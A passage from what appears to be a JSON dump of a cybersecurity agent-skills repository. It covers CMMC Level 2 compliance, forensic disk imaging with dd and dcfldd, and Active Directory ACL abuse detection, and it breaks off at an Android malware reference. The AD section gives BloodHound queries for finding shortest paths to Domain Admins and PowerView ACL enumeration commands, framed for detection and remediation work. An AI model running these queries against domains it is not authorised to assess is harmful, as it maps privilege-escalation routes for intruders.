CUI\n  and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14\n  families, compute the SPRS score with the DoD Assessment Methodology, manage a\n  compliant POA&M, and ready the organization for a C3PAO assessment. Use when an\n  organization handles Controlled Unclassified Information (CUI) under a DoD contract,\n  when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for\n  or responding to a CMMC assessment, when computing or improving an SPRS score, when\n  building a System Security Plan or POA&M for 800-171, or when scoping which systems\n  are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2,\n  CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment\n  Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.\ndomain: cybersecurity\nsubdomain: compliance-governance\ntags:\n- cmmc\n- nist-800-171\n- cui\n- sprs\n- dfars\n- c3pao\n- poam\n- compliance\n- governance\n- defense-industrial-base\nversion: \"1.0\"\nauthor: andrewibrah\nlicense: Apache-2.0\nnist_csf:\n- GV.OC-03\n- GV.SC-01\n- ID.AM-08\n- ID.RA-05\n- PR.AA-01\n- PR.DS-01\nmitre_attack:\n- T1078\n- T1190\n- T1041\n- T1048\n- T1567\n---\n\n# Achieving CMMC Level 2 Compliance\n\n## When to Use\n\n- When an organization in the **Defense Industrial Base (DIB)** stores, processes, or transmits **Controlled Unclassified Information (CUI)** under a DoD contract.\n- When a contract includes **DFARS 252.204-7012** (safeguarding/incident reporting), **-7019/-7020** (NIST 800-171 self-assessment + SPRS), or the new **-7021** (CMMC requirement).\n- When preparing for a **C3PAO** third-party assessment or a DoD-led assessment.\n- When you must **compute, post, or improve an SPRS score** based on the NIST SP 800-171 DoD Assessment Methodology.\n- When authoring or remediating a **System Security Plan (SSP)** and **POA&M** for the 110 requirements.\n- When **scoping** which assets fall inside the CUI/FCI boundary (CUI assets, security-protection assets, contractor risk-managed assets, out-of-scope).\n\n## Prerequisites\n\n- Knowledge of **which contracts carry CUI** and the CUI categories involved (check the contract and the DoD CUI Registry).\n- An asset inventory and network diagram so you can define the **CMMC assessment scope** before assessing controls.\n- The **NIST SP 800-171 Rev 2** requirements and the **DoD Assessment Methodology** scoring weights.\n- A documented **SSP** (its absence is itself a failed requirement — 3.12.4).\n- Identification of any **External Service Providers (ESPs)** / cloud services touching CUI, and whether they meet **FedRAMP Moderate (or equivalency)**.\n\n## Workflow\n\n### 1. Determine applicability and CUI categories\nConfirm the contract requires CMMC Level 2 (CUI present, not just FCI). FCI-only contracts are **Level 1** (the 15 FAR 52.204-21 requirements). Identify CUI categories from the contract and the DoD CUI Registry.\n\n### 2. Scope the environment\nClassify every asset into one of the CMMC scoping categories:\n- **CUI Assets** — process/store/transmit CUI (in scope, assessed against all applicable controls).\n- **Security Protection Assets** — provide security to the CUI environment (in scope).\n- **Contractor Risk Managed Assets** — could but are not intended to handle CUI; managed by policy.\n- **Specialized Assets** (IoT/OT, GFE, test equipment) — documented, limited assessment.\n- **Out-of-Scope** — physically/logically isolated from CUI.\n\nMinimize scope deliberately — a smaller, well-segmented CUI enclave is far cheaper to certify than a flat network.\n\n### 3. Implement the 110 requirements (NIST SP 800-171 Rev 2)\nWork the **14 families** (3.1–3.14). For each requirement, implement, then write the **how** in the SSP. High-leverage early wins: MFA (3.5.3), FIPS-validated cryptography (3.13.11), audit logging (3.3.x), access control + least privilege (3.1.x), and incident response (3.6.x).\n\n### 4. Score with the DoD Assessment Methodology (SPRS)\nStart at **110** and subtract the weighted value (**1, 3, or 5 points**) of each **unmet** requirement; partial credit applies to a small number of controls (e.g., MFA, FIPS crypto). The result is the **SPRS score** (maximum 110; the methodology floor is −203). Post the score, the SSP date, and the assessment scope to **SPRS** (or eMASS for higher assessments).\n\n### 5. Build a compliant POA&M\nDocument every unmet requirement with owner, remediation, and milestone. **Constraints under the CMMC rule:** a **Conditional** status requires a score of at least **80%** (≥ 88 of 110), only **POA&M-eligible** requirements may be deferred (the highest-weighted security requirements must be fully met — verify eligibility against 32 CFR Part 170), and all POA&M items must be **closed within 180 days** to convert Conditional → **Final**.\n\n### 6. Assess (self or C3PAO)\n- **Level 1** and a subset of Level 2 = annual **self-assessment** with an affirmation in SPRS.\n- **Level 2 (most CUI contracts)** = triennial **C3PAO** certification assessment.\n- **Level 3** = DoD (DIBCAC) assessment on top of Level 2, adding SP 800-172 enhanced requirements.\nAssessors evaluate each objective as **MET / NOT MET / N/A** with evidence (examine/interview/test). A senior official files the **annual affirmation** of continued compliance.\n\n### 7. Maintain certification\nCertification is valid **three years** with **annual affirmations**. Maintain the SSP, re-score on change, keep evidence current, and feed significant changes back into the assessment.\n\n## Key Concepts\n\n| Concept | Definition |\n|---|---|\n| FCI | Federal Contract Information — Level 1 protects it (FAR 52.204-21). |\n| CUI | Controlled Unclassified Information — Level 2 protects it (NIST 800-171). |\n| 110 requirements | The SP 800-171 Rev 2 security requirements across 14 families. |\n| SPRS | Supplier Performance Risk System — where the 800-171 score is posted. |\n| DoD Assessment Methodology | The 1/3/5-point weighting used to compute the score from 110. |\n| C3PAO | CMMC Third-Party Assessment Organization — performs Level 2 certification. |\n| POA&M | Plan of Action & Milestones — limited, must close in 180 days for Final status. |\n| Conditional vs Final | Conditional = open POA&M (score ≥ 80%); Final = all controls met. |\n| ESP | External Service Provider — must meet FedRAMP Moderate / equivalency for CUI. |\n| Scoping categories | CUI / Security Protection / Contractor Risk Managed / Specialized / Out-of-Scope. |\n\n## Tools & Systems\n\n- **NIST SP 800-171 Rev 2** — the 110 requirements (and 800-171A for assessment objectives).\n- **DoD NIST SP 800-171 Assessment Methodology** — the scoring weights.\n- **32 CFR Part 170** (CMMC Program rule) and **48 CFR / DFARS 252.204-7021** (acquisition rule).\n- **SPRS** — score posting; **SAM.gov** for registration.\n- **SP 800-172 / 800-172A** — enhanced requirements for Level 3.\n- **GRC / compliance tooling** — to manage the SSP, POA&M, and evidence (e.g., Xacta, RegScale, FutureFeed-style trackers).\n\n## Common Scenarios\n\n- **Prime flows CUI to a sub.** The sub needs its own Level 2 scope, SSP, SPRS score, and (most likely) C3PAO certification.\n- **Score is below 88.** Prioritize the highest-weighted unmet requirements (5-point, then 3-point) to clear the conditional threshold and shrink the POA&M.\n- **Cloud holds CUI.** Confirm the service is FedRAMP Moderate authorized or meets equivalency; document the responsibility split.\n- **Flat network.** Re-scope into a segmented CUI enclave to cut the assessment surface before spending on controls.\n- **Annual affirmation due.** A senior official affirms continued compliance in SPRS; let it lapse and you risk contract eligibility.\n\n## Output Format\n\nProduce a **CMMC Level 2 Readiness Report** using `assets/template.md`, containing:\n\n1. **Applicability & CUI categories** — why Level 2 applies.\n2. **Scope** — assets by scoping category and the CUI boundary diagram reference.\n3. **Control status by family** — met / not met / N/A across the 14 families.\n4. **SPRS score** — computed score, deductions, and the gap to 110 and to the 88 threshold.\n5. **POA&M** — unmet requirements, eligibility check, owners, 180-day milestones.\n6. **Assessment path** — self vs C3PAO, target date, affirmation owner.\n7. **Remediation roadmap** — sequenced by point value and effort.\n\nUse `scripts/process.py` to compute the SPRS score from a control-status JSON, flag POA&M-eligibility concerns, and report the gap to the conditional-certification threshold.\n","frontmatter":{"name":"achieving-cmmc-level-2-compliance","description":"Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["cmmc","nist-800-171","cui","sprs","dfars","c3pao","poam","compliance","governance","defense-industrial-base"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["GV.OC-03","GV.SC-01","ID.AM-08","ID.RA-05","PR.AA-01","PR.DS-01"],"mitre_attack":["T1078","T1190","T1041","T1048","T1567"]},"isInternal":false,"tokens":2317,"sizeBytes":8689},{"name":"api-reference.md","path":"skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: dd and dcfldd Disk Imaging\n\n## dd - Standard Unix Disk Duplication\n\n### Basic Syntax\n```bash\ndd if=<source> of=<destination> [options]\n```\n\n### Key Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `if=` | Input file (source device) | `if=/dev/sdb` |\n| `of=` | Output file (destination image) | `of=evidence.dd` |\n| `bs=` | Block size for read/write | `bs=4096` (forensic standard) |\n| `count=` | Number of blocks to copy | `count=1024` |\n| `skip=` | Skip N blocks from input start | `skip=2048` |\n| `conv=` | Conversion options | `conv=noerror,sync` |\n| `status=` | Transfer statistics level | `status=progress` |\n\n### conv= Values\n- `noerror` - Continue on read errors (do not abort)\n- `sync` - Pad input blocks with zeros on error (preserves offset alignment)\n- `notrunc` - Do not truncate output file\n\n### Output Format\n```\n500107862016 bytes (500 GB, 466 GiB) copied, 8132.45 s, 61.5 MB/s\n976773168+0 records in\n976773168+0 records out\n```\n\n## dcfldd - DoD Forensic dd\n\n### Basic Syntax\n```bash\ndcfldd if=<source> of=<destination> [options]\n```\n\n### Extended Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `hash=` | Hash algorithm(s) | `hash=sha256,md5` |\n| `hashlog=` | File for hash output | `hashlog=hashes.txt` |\n| `hashwindow=` | Hash every N bytes | `hashwindow=1G` |\n| `hashconv=` | Hash before or after conversion | `hashconv=after` |\n| `errlog=` | Error log file | `errlog=errors.log` |\n| `split=` | Split output into chunks | `split=2G` |\n| `splitformat=` | Suffix format for split files | `splitformat=aa` |\n| `vf=` | Verification file | `vf=evidence.dd` |\n| `verifylog=` | Verification result log | `verifylog=verify.log` |\n\n### Output Format\n```\nTotal (sha256): a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5...\n1024+0 records in\n1024+0 records out\n```\n\n## sha256sum - Hash Verification\n\n### Syntax\n```bash\nsha256sum <file_or_device>\nsha256sum -c <checksum_file>\n```\n\n### Output Format\n```\na3f2b8c9d4e5f6...  /dev/sdb\na3f2b8c9d4e5f6...  evidence.dd\n```\n\n## blockdev - Write Protection\n\n### Syntax\n```bash\nblockdev --setro <device>   # Set read-only\nblockdev --setrw <device>   # Set read-write\nblockdev --getro <device>   # Check: 1=RO, 0=RW\nblockdev --getsize64 <device>  # Size in bytes\n```\n\n## lsblk - Block Device Enumeration\n\n### Syntax\n```bash\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL,SERIAL,RO\nlsblk -J   # JSON output\nlsblk -p   # Full device paths\n```\n\n## hdparm - Drive Identification\n\n### Syntax\n```bash\nhdparm -I <device>   # Detailed drive info\nhdparm -i <device>   # Summary identification\n```\n","isInternal":false,"tokens":831,"sizeBytes":2584},{"name":"SKILL.md","path":"skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md","title":"acquiring-disk-image-with-dd-and-dcfldd","category":"anthropic-skill","format":"markdown","content":"---\nname: acquiring-disk-image-with-dd-and-dcfldd\ndescription: Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- forensics\n- disk-imaging\n- evidence-acquisition\n- dd\n- dcfldd\n- hash-verification\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1006\n- T1005\n- T1025\n- T1074.001\n---\n\n# Acquiring Disk Image with dd and dcfldd\n\n## When to Use\n- When you need to create a forensic copy of a suspect drive for investigation\n- During incident response when preserving volatile disk evidence before analysis\n- When law enforcement or legal proceedings require a verified bit-for-bit copy\n- Before performing any destructive analysis on a storage device\n- When acquiring images from physical drives, USB devices, or memory cards\n\n## Prerequisites\n- Linux-based forensic workstation (SIFT, Kali, or any Linux distro)\n- `dd` (pre-installed on all Linux systems) or `dcfldd` (enhanced forensic version)\n- Write-blocker hardware or software write-blocking configured\n- Destination drive with sufficient storage (larger than source)\n- Root/sudo privileges on the forensic workstation\n- SHA-256 or MD5 hashing utilities (`sha256sum`, `md5sum`)\n\n## Workflow\n\n### Step 1: Identify the Target Device and Enable Write Protection\n\n```bash\n# List all connected block devices to identify the target\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL\n\n# Verify the device details\nfdisk -l /dev/sdb\n\n# Enable software write-blocking (if no hardware blocker)\nblockdev --setro /dev/sdb\n\n# Verify read-only status\nblockdev --getro /dev/sdb\n# Output: 1 (means read-only is enabled)\n\n# Alternatively, use udev rules for persistent write-blocking\necho 'SUBSYSTEM==\"block\", ATTRS{serial}==\"WD-WCAV5H861234\", ATTR{ro}=\"1\"' > /etc/udev/rules.d/99-writeblock.rules\nudevadm control --reload-rules\n```\n\n### Step 2: Prepare the Destination and Document the Source\n\n```bash\n# Create case directory structure\nmkdir -p /cases/case-2024-001/{images,hashes,logs,notes}\n\n# Document source drive information\nhdparm -I /dev/sdb > /cases/case-2024-001/notes/source_drive_info.txt\n\n# Record the serial number and model\nsmartctl -i /dev/sdb >> /cases/case-2024-001/notes/source_drive_info.txt\n\n# Pre-hash the source device\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_before.txt\n```\n\n### Step 3: Acquire the Image Using dd\n\n```bash\n# Basic dd acquisition with progress and error handling\ndd if=/dev/sdb of=/cases/case-2024-001/images/evidence.dd \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   status=progress 2>&1 | tee /cases/case-2024-001/logs/dd_acquisition.log\n\n# For compressed images to save space\ndd if=/dev/sdb bs=4096 conv=noerror,sync status=progress | \\\n   gzip -c > /cases/case-2024-001/images/evidence.dd.gz\n\n# Using dd with a specific count for partial acquisition\ndd if=/dev/sdb of=/cases/case-2024-001/images/first_1gb.dd \\\n   bs=1M count=1024 status=progress\n```\n\n### Step 4: Acquire Using dcfldd (Preferred Forensic Method)\n\n```bash\n# Install dcfldd if not present\napt-get install dcfldd\n\n# Acquire image with built-in hashing and split output\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256,md5 \\\n   hashwindow=1G \\\n   hashlog=/cases/case-2024-001/hashes/acquisition_hashes.txt \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   errlog=/cases/case-2024-001/logs/dcfldd_errors.log\n\n# Split large images into manageable segments\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/split_hashes.txt \\\n   bs=4096 \\\n   split=2G \\\n   splitformat=aa\n\n# Acquire with verification pass\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/verification.txt \\\n   vf=/cases/case-2024-001/images/evidence.dd \\\n   verifylog=/cases/case-2024-001/logs/verify.log\n```\n\n### Step 5: Verify Image Integrity\n\n```bash\n# Hash the acquired image\nsha256sum /cases/case-2024-001/images/evidence.dd | \\\n   tee /cases/case-2024-001/hashes/image_hash.txt\n\n# Compare source and image hashes\ndiff <(sha256sum /dev/sdb | awk '{print $1}') \\\n     <(sha256sum /cases/case-2024-001/images/evidence.dd | awk '{print $1}')\n\n# If using split images, verify each segment\nsha256sum /cases/case-2024-001/images/evidence.dd.* | \\\n   tee /cases/case-2024-001/hashes/split_image_hashes.txt\n\n# Re-hash source to confirm no changes occurred\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_after.txt\ndiff /cases/case-2024-001/hashes/source_hash_before.txt \\\n     /cases/case-2024-001/hashes/source_hash_after.txt\n```\n\n### Step 6: Document the Acquisition Process\n\n```bash\n# Generate acquisition report\ncat << 'EOF' > /cases/case-2024-001/notes/acquisition_report.txt\nDISK IMAGE ACQUISITION REPORT\n==============================\nCase Number: 2024-001\nDate/Time: $(date -u +\"%Y-%m-%d %H:%M:%S UTC\")\nExaminer: [Name]\n\nSource Device: /dev/sdb\nModel: [from hdparm output]\nSerial: [from hdparm output]\nSize: [from fdisk output]\n\nAcquisition Tool: dcfldd v1.9.1\nBlock Size: 4096\nWrite Blocker: [Hardware/Software model]\n\nImage File: evidence.dd\nImage Hash (SHA-256): [from hash file]\nSource Hash (SHA-256): [from hash file]\nHash Match: YES/NO\n\nErrors During Acquisition: [from error log]\nEOF\n\n# Compress logs for archival\ntar -czf /cases/case-2024-001/acquisition_package.tar.gz \\\n   /cases/case-2024-001/hashes/ \\\n   /cases/case-2024-001/logs/ \\\n   /cases/case-2024-001/notes/\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Bit-for-bit copy | Exact replica of source including unallocated space and slack space |\n| Write blocker | Hardware or software mechanism preventing writes to evidence media |\n| Hash verification | Cryptographic hash comparing source and image to prove integrity |\n| Block size (bs) | Transfer chunk size affecting speed; 4096 or 64K typical for forensics |\n| conv=noerror,sync | Continue on read errors and pad with zeros to maintain offset alignment |\n| Chain of custody | Documented trail proving evidence has not been tampered with |\n| Split imaging | Breaking large images into smaller files for storage and transport |\n| Raw/dd format | Bit-for-bit image format without metadata container overhead |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| dd | Standard Unix disk duplication utility for raw imaging |\n| dcfldd | DoD Computer Forensics Laboratory enhanced version of dd with hashing |\n| dc3dd | Another forensic dd variant from the DoD Cyber Crime Center |\n| sha256sum | SHA-256 hash calculation for integrity verification |\n| blockdev | Linux command to set block device read-only mode |\n| hdparm | Drive identification and parameter reporting |\n| smartctl | S.M.A.R.T. data retrieval for drive health and identification |\n| lsblk | Block device enumeration and identification |\n\n## Common Scenarios\n\n**Scenario 1: Acquiring a Suspect Laptop Hard Drive**\nConnect the drive via a Tableau T35u hardware write-blocker, identify as `/dev/sdb`, use dcfldd with SHA-256 hashing, split into 4GB segments for DVD archival, verify hashes match, document in case notes.\n\n**Scenario 2: Imaging a USB Flash Drive from a Compromised Workstation**\nUse software write-blocking with `blockdev --setro`, acquire with dcfldd including MD5 and SHA-256 dual hashing, image is small enough for single file, verify and store on encrypted case drive.\n\n**Scenario 3: Remote Acquisition Over Network**\nUse dd piped through netcat or ssh for remote acquisition: `ssh root@remote \"dd if=/dev/sda bs=4096\" | dd of=remote_image.dd bs=4096`, hash both ends independently to verify transfer integrity.\n\n**Scenario 4: Acquiring from a Failing Drive**\nUse `ddrescue` first to recover readable sectors, then use dd with `conv=noerror,sync` to fill gaps with zeros, document which sectors were unreadable in the error log.\n\n## Output Format\n\n```\nAcquisition Summary:\n  Source:       /dev/sdb (500GB Western Digital WD5000AAKX)\n  Destination:  /cases/case-2024-001/images/evidence.dd\n  Tool:         dcfldd 1.9.1\n  Block Size:   4096 bytes\n  Duration:     2h 15m 32s\n  Bytes Copied: 500,107,862,016\n  Errors:       0 bad sectors\n  Source SHA-256:  a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Image SHA-256:   a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Verification:    PASSED - Hashes match\n```\n","frontmatter":{"name":"acquiring-disk-image-with-dd-and-dcfldd","description":"Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","disk-imaging","evidence-acquisition","dd","dcfldd","hash-verification"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1006","T1005","T1025","T1074.001"]},"isInternal":false,"tokens":2499,"sizeBytes":8799},{"name":"api-reference.md","path":"skills/analyzing-active-directory-acl-abuse/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-active-directory-acl-abuse/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Active Directory ACL Abuse API Reference\n\n## ldap3 Python Connection\n\n```python\nfrom ldap3 import Server, Connection, ALL, NTLM, SUBTREE\n\nserver = Server(\"192.168.1.10\", get_info=ALL, use_ssl=False)\nconn = Connection(server, user=\"DOMAIN\\\\user\", password=\"pass\",\n                  authentication=NTLM, auto_bind=True)\n\n# Search with nTSecurityDescriptor\nconn.search(\n    \"DC=corp,DC=example,DC=com\",\n    \"(objectClass=group)\",\n    search_scope=SUBTREE,\n    attributes=[\"distinguishedName\", \"sAMAccountName\",\n                \"objectClass\", \"nTSecurityDescriptor\"],\n)\n```\n\n## SDDL ACE Format\n\n```\nACE String: (ace_type;ace_flags;rights;object_guid;inherit_guid;trustee_sid)\nExample:    (A;;GA;;;S-1-5-21-xxx-512)\n```\n\n| Component | Description |\n|-----------|-------------|\n| `A` | Access Allowed |\n| `D` | Access Denied |\n| `OA` | Object Access Allowed |\n| `GA` | Generic All |\n| `GW` | Generic Write |\n| `WD` | Write DACL |\n| `WO` | Write Owner |\n\n## Dangerous Permission Bitmasks\n\n| Permission | Hex Mask | Risk |\n|-----------|----------|------|\n| GenericAll | `0x10000000` | Full control over object |\n| GenericWrite | `0x40000000` | Modify all writable attributes |\n| WriteDACL | `0x00040000` | Modify object permissions |\n| WriteOwner | `0x00080000` | Take object ownership |\n| WriteProperty | `0x00000020` | Write specific properties |\n| ExtendedRight | `0x00000100` | Extended rights (password reset, etc.) |\n| Self | `0x00000008` | Self-membership modification |\n| Delete | `0x00010000` | Delete the object |\n\n## BloodHound Cypher Queries for ACL Paths\n\n```cypher\n-- Find all users with GenericAll on Domain Admins\nMATCH p=(n:User)-[r:GenericAll]->(g:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nRETURN p\n\n-- Find WriteDACL paths from non-admins to high-value targets\nMATCH (n:User {admincount:false})\nMATCH p=allShortestPaths((n)-[r:WriteDacl|WriteOwner|GenericAll*1..]->(m:Group))\nWHERE m.highvalue = true\nRETURN p\n\n-- Find GenericWrite on computers for RBCD attacks\nMATCH p=(n:User)-[r:GenericWrite]->(c:Computer)\nWHERE NOT n.admincount\nRETURN n.name, c.name\n\n-- Enumerate all outbound ACL edges for a principal\nMATCH p=(n {name:\"HELPDESK@CORP.COM\"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(m)\nRETURN type(r), m.name, labels(m)\n\n-- Find shortest ACL abuse path to Domain Admin\nMATCH (n:User {name:\"JSMITH@CORP.COM\"})\nMATCH (da:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nMATCH p=shortestPath((n)-[r:MemberOf|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|ForceChangePassword*1..]->(da))\nRETURN p\n```\n\n## PowerView Commands for ACL Enumeration\n\n```powershell\n# Get ACL for Domain Admins group\nGet-DomainObjectAcl -Identity \"Domain Admins\" -ResolveGUIDs\n\n# Find interesting ACEs for non-admin users\nFind-InterestingDomainAcl -ResolveGUIDs | Where-Object {\n    $_.ActiveDirectoryRights -match \"GenericAll|WriteDacl|WriteOwner\"\n}\n\n# Get ACL for specific OU\nGet-DomainObjectAcl -SearchBase \"OU=Servers,DC=corp,DC=com\" -ResolveGUIDs\n```\n","isInternal":false,"tokens":852,"sizeBytes":2951},{"name":"SKILL.md","path":"skills/analyzing-active-directory-acl-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-active-directory-acl-abuse/SKILL.md","title":"analyzing-active-directory-acl-abuse","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-active-directory-acl-abuse\ndescription: Detect dangerous ACL misconfigurations in Active Directory using ldap3\n  to identify GenericAll, WriteDACL, and WriteOwner abuse paths\ndomain: cybersecurity\nsubdomain: identity-security\ntags:\n- active-directory\n- acl-abuse\n- ldap\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-01\n- PR.AA-05\n- PR.AA-06\nmitre_attack:\n- T1098\n- T1098.007\n- T1484.001\n- T1222.001\n- T1078.002\n---\n\n\n# Analyzing Active Directory ACL Abuse\n\n## Overview\n\nActive Directory Access Control Lists (ACLs) define permissions on AD objects through Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Misconfigured ACEs can grant non-privileged users dangerous permissions such as GenericAll (full control), WriteDACL (modify permissions), WriteOwner (take ownership), and GenericWrite (modify attributes) on sensitive objects like Domain Admins groups, domain controllers, or GPOs.\n\nThis skill uses the ldap3 Python library to connect to a Domain Controller, query objects with their nTSecurityDescriptor attribute, parse the binary security descriptor into SDDL (Security Descriptor Definition Language) format, and identify ACEs that grant dangerous permissions to non-administrative principals. These misconfigurations are the basis for ACL-based attack paths discovered by tools like BloodHound.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing active directory acl abuse\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9 or later with ldap3 library (`pip install ldap3`)\n- Domain user credentials with read access to AD objects\n- Network connectivity to Domain Controller on port 389 (LDAP) or 636 (LDAPS)\n- Understanding of Active Directory security model and SDDL format\n\n## Steps\n\n1. **Connect to Domain Controller**: Establish an LDAP connection using ldap3 with NTLM or simple authentication. Use LDAPS (port 636) for encrypted connections in production.\n\n2. **Query target objects**: Search the target OU or entire domain for objects including users, groups, computers, and OUs. Request the `nTSecurityDescriptor`, `distinguishedName`, `objectClass`, and `sAMAccountName` attributes.\n\n3. **Parse security descriptors**: Convert the binary nTSecurityDescriptor into its SDDL string representation. Parse each ACE in the DACL to extract the trustee SID, access mask, and ACE type (allow/deny).\n\n4. **Resolve SIDs to principals**: Map security identifiers (SIDs) to human-readable account names using LDAP lookups against the domain. Identify well-known SIDs for built-in groups.\n\n5. **Check for dangerous permissions**: Compare each ACE's access mask against dangerous permission bitmasks: GenericAll (0x10000000), WriteDACL (0x00040000), WriteOwner (0x00080000), GenericWrite (0x40000000), and WriteProperty for specific extended rights.\n\n6. **Filter non-admin trustees**: Exclude expected administrative trustees (Domain Admins, Enterprise Admins, SYSTEM, Administrators) and flag ACEs where non-privileged users or groups hold dangerous permissions.\n\n7. **Map attack paths**: For each finding, document the potential attack chain (e.g., GenericAll on user allows password reset, WriteDACL on group allows adding self to group).\n\n8. **Generate remediation report**: Output a JSON report with all dangerous ACEs, affected objects, non-admin trustees, and recommended remediation steps.\n\n## Expected Output\n\n```json\n{\n  \"domain\": \"corp.example.com\",\n  \"objects_scanned\": 1247,\n  \"dangerous_aces_found\": 8,\n  \"findings\": [\n    {\n      \"severity\": \"critical\",\n      \"target_object\": \"CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com\",\n      \"target_type\": \"group\",\n      \"trustee\": \"CORP\\\\helpdesk-team\",\n      \"permission\": \"GenericAll\",\n      \"access_mask\": \"0x10000000\",\n      \"ace_type\": \"ACCESS_ALLOWED\",\n      \"attack_path\": \"GenericAll on Domain Admins group allows adding arbitrary members\",\n      \"remediation\": \"Remove GenericAll ACE for helpdesk-team on Domain Admins\"\n    }\n  ]\n}\n```\n","frontmatter":{"name":"analyzing-active-directory-acl-abuse","description":"Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths","domain":"cybersecurity","subdomain":"identity-security","tags":["active-directory","acl-abuse","ldap","privilege-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.AA-06"],"mitre_attack":["T1098","T1098.007","T1484.001","T1222.001","T1078.002"]},"isInternal":false,"tokens":982,"sizeBytes":4248},{"name":"api-reference.md","path":"skills/analyzing-android-malware-with-apktool/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-android-malware-with-apktool/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference — Analyzing Android Malware with Apktool\n\n## Libraries Used\n- **androguard**: Python APK/DEX analysis — `AnalyzeAPK()`, permission enumeration, API call scanning\n- **re**: Regex extraction of URLs, IPs, base64 patterns from DEX strings\n- **json**: JSON serialization for analysis reports\n\n## CLI Interface\n```\npython agent.py sample.apk permissions\npython agent.py sample.apk manifest\npython agent.py sample.apk apis\npython agent.py sample.apk strings\npython agent.py sample.apk full\npython agent.py sample.apk           # defaults to full analysis\n```\n\n## Core Functions\n\n### 